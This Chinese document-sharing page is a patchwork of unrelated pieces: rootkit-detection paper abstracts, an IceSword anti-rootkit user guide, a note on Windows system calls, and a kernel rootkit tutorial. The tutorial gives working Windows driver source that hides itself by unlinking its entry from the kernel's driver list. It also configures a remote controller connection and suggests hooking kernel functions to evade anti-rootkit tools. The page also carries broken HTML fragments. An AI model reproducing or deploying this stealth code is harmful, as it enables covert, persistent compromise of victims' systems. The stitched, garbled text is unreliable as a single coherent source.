内核级Rootkit 教程
- 格式:doc
- 大小:88.00 KB
- 文档页数:18
基于虚拟机的Rootkit检测系统张文晓;戴航;黄东旭【期刊名称】《计算机技术与发展》【年(卷),期】2012(22)7【摘要】Kernel Rootkit runs in the highest system level,can modify all the data of system, so it causes great ducat to the security of computer system. At present,facing to the Rootkit,most of methods based on virtual machine focus on protection of kernel's integrity,and ignore to detect the technology of Rootkit. Based on virtual machine,propose a new method to automatically detect and son Rootkit This method is named VDR system,can detect Rootkit efficiently and tell the difference between kinds of Rootkit,moreover remember it for agenst the second attack. The VDR system can improve plentiful information for the system administrator.%内核级Rootkit位于操作系统核心层,可以篡改内核地址空间的任意数据,对系统安全构成了巨大的威胁.目前基于虚拟机的Rootkit方面应用大都偏重于完整性保护,未对Rootkit的攻击手段和方式进行检测识别.文中在虚拟机框架下,提出了一种新型的Rootkit检测系统VDR,VDR通过行为分析可有效识别Rootkit的攻击位置方式,并自我更新免疫该Rootkit的再次攻击.实验表明,VDR对已知Rootkit的检测和未知Rootkit的识别均有良好效果,能迅速给出攻击信息,为系统安全管理带来很大方便.【总页数】5页(P128-131,135)【作者】张文晓;戴航;黄东旭【作者单位】西北工业大学自动化学院,陕西西安710072;西北工业大学自动化学院,陕西西安710072;西北工业大学自动化学院,陕西西安710072【正文语种】中文【中图分类】TP319【相关文献】1.基于 Windows API 调用机制的 Rootkit检测系统的设计与研究 [J], 袁宇恒;黄耿星;龚征2.虚拟化环境下基于职能分离的Rootkit检测系统架构研究 [J], 朱智强;赵志远;孙磊;杨杰3.基于虚拟机架构的内核Rootkit防范方案 [J], 赵帅;武延军;贺也平4.基于OpenFlow的虚拟机流量检测系统的设计与实现 [J], 邵国林;陈兴蜀;尹学渊;张峰伟5.一种基于差异分析的rootkit检测系统 [J], 胡晓嵩;王剑因版权原因,仅展示原文概要,查看原文内容请购买。
Windows内核级防护系统孟晨宇;史渊;王佳伟;周洁;康晓凤【摘要】Windows操作系统是当今应用最广泛的个人计算机操作系统,针对这一操作系统的病毒和木马层出不穷.大多数杀毒软件主要依赖特征码识别技术、校验和技术、软件模拟技术检测病毒.本系统从手动杀毒角度出发,变被动防御为主动查杀,特别是Rootkit保护的内核级木马,通过检测相应的被挂钩函数,内核中被修改的地址,找到相应的进程,从而实现了木马进程的强杀、相应内核内容的恢复等功能,更有效的保护计算机操作系统的安全.【期刊名称】《软件》【年(卷),期】2016(037)003【总页数】6页(P16-20,26)【关键词】内核防护;手动杀毒;信息安全;Rootkit【作者】孟晨宇;史渊;王佳伟;周洁;康晓凤【作者单位】徐州工程学院信电工程学院,江苏徐州221000);徐州工程学院信电工程学院,江苏徐州221000);徐州工程学院信电工程学院,江苏徐州221000);徐州工程学院信电工程学院,江苏徐州221000);徐州工程学院信电工程学院,江苏徐州221000)【正文语种】中文【中图分类】TP311本文著录格式:孟晨宇,史渊,王佳伟,等. Windows内核级防护系统[J]. 软件,2016,37(3):16-20随着网络技术的发展,计算机在人民生活中的地位越来越重要。
计算机在给人民的生活和工作带来极大便利的同时,也带来了信息安全问题。
Windows操作系统是当今应用最广泛的个人计算机操作系统,针对这一操作系统的病毒和木马层出不穷。
[1]而且更为严重的是内核级Rootkit的诞生,给系统安全带来了极大的破坏性。
内核是操作系统的核心,内核的完整性保护对维护操作系统至关重要。
[2]所以本系统旨在从内核出发,全方位的利用多种综合检测技术维护系统内核的安全性以及完整性。
1.1 系统整体设计方案本系统主要分为用户层和内核层,[3]用户层利用VC++ 6.0开发,采用C++语言实现,[3-5]内核层利用WDK开发,采用C语言实现。
冰刃使用教程一.什么是冰刃一款软件,它专为查探系统中的幕后黑手——木马和后门而设计,内部功能强大,它使用了大量新颖的内核技术,使内核级的后门一样躲无所躲。
二.冰刃的特点所使用技术新颖、小巧、功能强大。
三.冰刃的功能他可对以下功能点进行查看和对部分进行操作:进程1.欲察看当前进程,请点击“进程”按钮,在右部列出的进程中,隐藏的进程会以红色醒目地标记出,以方便查找隐藏自身的系统级后门。
2.右键菜单:1)刷新列表:请再次点击“进程”按钮,或点击右键,选择“刷新列表”。
2)结束进程:点击左键选中一项,或按住Ctrl键选择多项,然后使用右键菜单的“结束进程”将它们结束掉。
3)线程信息:在右键菜单中选择“线程信息”,出现如下对话框:4)模块信息:在右键菜单中选择“模块信息”,出现如下对话框:“卸除”对于系统DLL是无效的,你可以使用“强制解除”,不过强制解除系统DLL必然会使进程挂掉。
强制解除后在使用PEB来查询模块的工具中仍可看到被解除的DLL,而实际上DLL已经被卸掉了。
5)内存读写:在右键菜单中选择“内存读写”,出现如下对话框:操作时首先填入读的起始地址和长度,点击“读内存”,如果该进程内的指定地址有效,则读取并显示,您可以在编辑框中修改后点击“写内存”写入选中的进程。
注意此刻的提示框会建议您选“否”即不破除COW机制,在您不十分明白COW之前,请选择“否”,否则可能写入错误的地址给系统带来错误以至崩溃。
读出内容后,可以点击“反汇编”查看反汇编值,某些木马修改函数入口来hook 函数,可由反汇编值分析判断。
●端口此栏的功能是进程端口关联。
它的前四项与netstat -an类似,后两项是打开该端口的进程。
●内核模块即当前系统加载的核心模块比如驱动程序。
●启动组●服务用于查看系统中的被隐藏的或未隐藏的服务,隐藏的服务以红色显示●SPI列举出系统中的网络服务提供者,因为它有可能被用来做无进程木马。
●BHO浏览器辅助对象查看。
shayi1983end 2015-11-08 23:55:16浅析Windows 系统调用——2种切换到内核模式的方法首先总结2种切换到内核模式方法的各自流程,以 Windows API WriteFile() 调用为例:内存法(中断法):(用户模式)WriteFile() -> ntdll!NtWriteFile() -> ntdll!KiIntSystemCall() -> int 2E h -> 查找 IDT (中断描述符表)的内存地址,偏移0x2E处 ->(内核模式)nt!KiSyste mService() -> nt!KiFastCallEntry() -> nt!NtWriteFile()通过 0x2E 中断转移控制到内核模式后,系统服务分发/调度器为 nt!KiFastCallEntry(),它负责调用内核空间中的同名异前缀函数 nt!NtWriteFile(),后者有一个系统服务号;也叫做分发 ID,该 ID 需要在执行 int 2Eh 前,加载到EAX 寄存器,以便通知 nt! KiSystemService() 要它分发的系统调用(本机API),但是最终还是经由 nt!KiFastCa llEntry() 来分发粗略地讲,INT 指令在内部涉及如下几个操作:1。
清空陷阱标志(TF),和中断允许标志(IF);2。
依序把(E)FLAGS,CS,(E)IP 寄存器中的值压入栈上;3。
转移到 IDT 中的中断门描述符记载的相应 ISR(中断服务例程)的起始地址;4。
执行 ISR,直至遇到 IRET 返回。
最关键的第3步涉及“段间”转移,通过中断门描述符,能够引用一个 Ring0 权限代码段,该代码段对应的 64 位段描述符(存储在 GDT 中)中的 DPL 位,即特权级位等于0(0=Ring 0;3=Ring3,即便由 Intel 规定的段描述符的 DPL 位有4种取值,但 Windows 仅使用了其中的最高特权级 Ring0 与最低特权级 Ring3,总体而言,用户模式应用程序位于 Ring3 代码或数据段;内核与设备驱动程序则位于 Ring0 代码或数据段 ),再结合段描述符中的“基址”与中断门描述符中的“偏移”,就能计算出 ISR 在 Ring0 代码段中的起始地址。
内核级Rootkit 教程一、综述本文将引领读者打造一个初级的内核级Rootkit,然后为其引入两种简单的隐形技术:进程隐形技术和文件隐形技术。
同时,为了让读者获得rootkit编程的相关经验,我们顺便介绍了rootkit的装载、卸载方法,以及必不可少的测试技术。
本文介绍的Rootkit的主要构件是一个设备驱动程序,所以我们首先了解一下我们的第一个rootkit。
二、rootkit主体本节引入一个简单的rootkit实例,它实际上只给出了rootkit的主体框架,换句话说,就是一个设备驱动程序。
那么为什么要用设备驱动程序作为主体呢?很明显,因为在系统中,设备驱动程序和操作系统一样,都是程序中的特权阶级——它们运行于Ring0,有权访问系统中的所有代码和数据。
还有一点需要说明的是,因为本例主要目的在于介绍rootkit是如何隐形的,所以并没有实现后门之类的具体功能,。
我们将以源代码的形式说明rootkit,对着重介绍一些重要的数据结构和函数。
下面,先给出我们用到的第一个文件,它是一个头文件,名为Invisible.h,具体如下所示://Invisible.h:我们rootkit的头文件#ifndef _INVISIBLE_H_#define _INVISIBLE_H_typedef BOOLEAN BOOL;typedef unsigned long DWORD;typedef DWORD* PDWORD;typedef unsigned long ULONG;typedef unsigned short WORD;typedef unsigned char BYTE;typedef struct _DRIVER_DATA{LIST_ENTRY listEntry;DWORD unknown1;DWORD unknown2;DWORD unknown3;DWORD unknown4;DWORD unknown5;DWORD unknown6;DWORD unknown7;UNICODE_STRING path;UNICODE_STRING name;} DRIVER_DATA;#endif我们知道,应用软件只要简单引用几个文件如stdio.h和windows.h,就能囊括大量的定义。
但这种做法到了驱动程序这里就行不通了,原因大致有二条,一是驱动程序体积一般较为紧凑,二是驱动程序用途较为专一,用到的数据类型较少。
因此,我们这里给出了一个头文件Invisible.h,其中定义了一些供我们的rootkit之用的数据类型。
这里定义的类型中,有一个数据类型要提一下:双字类型,它实际上是一个无符号长整型。
此外,DRIVER_DATA是Windows 操作系统未公开的一个数据结构,其中含有分别指向设备驱动程序目录中上一个和下一个设备驱动程序的指针。
而我们这里开发的rootkit恰好就是作为设备驱动程序来实现,所以,只要从设备驱动程序目录中将我们的rootkit(即驱动程序)所对应的目录项去掉,系统管理程序就看不到它了,从而实现了隐形。
上面介绍了rootkit的头文件,现在开始介绍rootkit的主体部分,它实际就是一个基本的设备驱动程序,具体代码如下面的Invisible.c所示:// Invisible#include "ntddk.h"#include "Invisible.h"#include "fileManager.h"#include "configManager.h"// 全局变量ULONG majorVersion;ULONG minorVersion;//当进行free build时,将其注释掉,以防被检测到VOID OnUnload( IN PDRIVER_OBJECT pDriverObject ){DbgPrint("comint16: OnUnload called.");}NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRINGtheRegistryPath ){DRIVER_DATA* driverData;//取得操作系统的版本PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );// Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95// Major = 5: Windows Server 2003, Windows XP 或 Windows 2000// Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95// Minor = 1: Windows XP// Minor = 2: Windows Server 2003if ( majorVersion == 5 && minorVersion == 2 ){DbgPrint("comint16: Running on Windows 2003");}else if ( majorVersion == 5 && minorVersion == 1 ){DbgPrint("comint16: Running on Windows XP");}else if ( majorVersion == 5 && minorVersion == 0 ){DbgPrint("comint16: Running on Windows 2000");}else if ( majorVersion == 4 && minorVersion == 0 ){DbgPrint("comint16: Running on Windows NT 4.0");}else{DbgPrint("comint16: Running on unknown system");}// 隐藏该驱动程序driverData = *((DRIVER_DATA**)((DWORD)pDriverObject + 20));if( driverData != NULL ){// 将本驱动程序的相应目录项从项驱动程序目录中拆下来*((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink; driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;}// 允许卸载本驱动程序pDriverObject->DriverUnload = OnUnload;// 为本Rootkit的控制器配置连接if( !NT_SUCCESS( Configure() ) ){DbgPrint("comint16: Could not configure remote connection.\n");return STATUS_UNSUCCESSFUL;}return STATUS_SUCCESS;}Invisible.c是该rootkit的主体结构,其中包括入口函数DriverEntry和卸载函数OnUnload。
操作系统加载该驱动程序时将调用入口函数。
我们看到,在传递给入口函数的参数中有一个是DRIVER_OBJECT,它的作用是给出跟该驱动程序通信时所调用的函数的映射表。
就本例而言,我们仅仅映射了一个函数pDriverObject-〉DriverUnload,这样以来,当卸载驱动程序时,操作系统调用onunload函数就可行了。
需要特别说明的是,这一点在rootkit开发过程中特别实用,不用重启系统就可以卸载驱动程序,但是它却带来了一个大问题:容易被发现,所以在隐蔽性要求较高时不能使用,我们已经在源代码的相应部分给出了注释。
下面我们看一下该rootkit如何实现隐形。
我们将隐藏设备驱动程序的代码摘录如下:// 隐藏该驱动程序driverData = *((DRIVER_DATA**)((DWORD)pDriverObject + 20));if( driverData != NULL ){// 将本驱动程序的相应目录项从项驱动程序目录中拆下来*((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;}为了达到不让操作系统找到我们的rootkit设备驱动程序的目的,这段代码修改了系统内核中的一个内部数据结构。
系统中有一个双向链表,专门记录当前运行着的驱动程序,也就是说每个运行的驱动程序在该链表中都有一个对应的表项。
像driv ers.exe之类的应用程序,正是通过该链表来获取设备驱动程序信息的,换句话说,如果从该链表中摘除本rootkit对应的表项,就能隐藏该rootkit的存在,从而躲过大多数的检测。
具体如下图所示:javascript:if(this.width>500)this.width=500" bor der=0>图1 修改前的驱动程序链表javascript:if(this.width>500)this.width=500" bor der=0>图2 修改后的驱动程序链表细心的读者也许会问:能藏起来固然是好,不过系统若仅通过该链表来感知驱动程序的存在的话,我们的这样做岂不是自己把rootkit给干掉了?!的幸运的是,Windows操作系统的内核使用另一个表来给各运行中的驱动程序分配时间,所以,即使从设备驱动程序列表清除rootkit相应的表项,我们的rootkit也照样活得很自在。
利用该技术隐匿rootkit时,必须注意一点:如果已在我们的rootkit之前安装了anti-rootkit软件,“清除一个设备驱动程序表项”这一行为本身有可能被发觉,从而引起人们的注意。
读者会问:这该怎么办呢?答案是,先记下本rootkit所对应的设备驱动程序表项的地址,然后钩住钩住检查设备驱动程序链表的内核函数,当这个函数要检查该链表时,我们就有机会提前把保存的表项放回到设备驱动程序链表。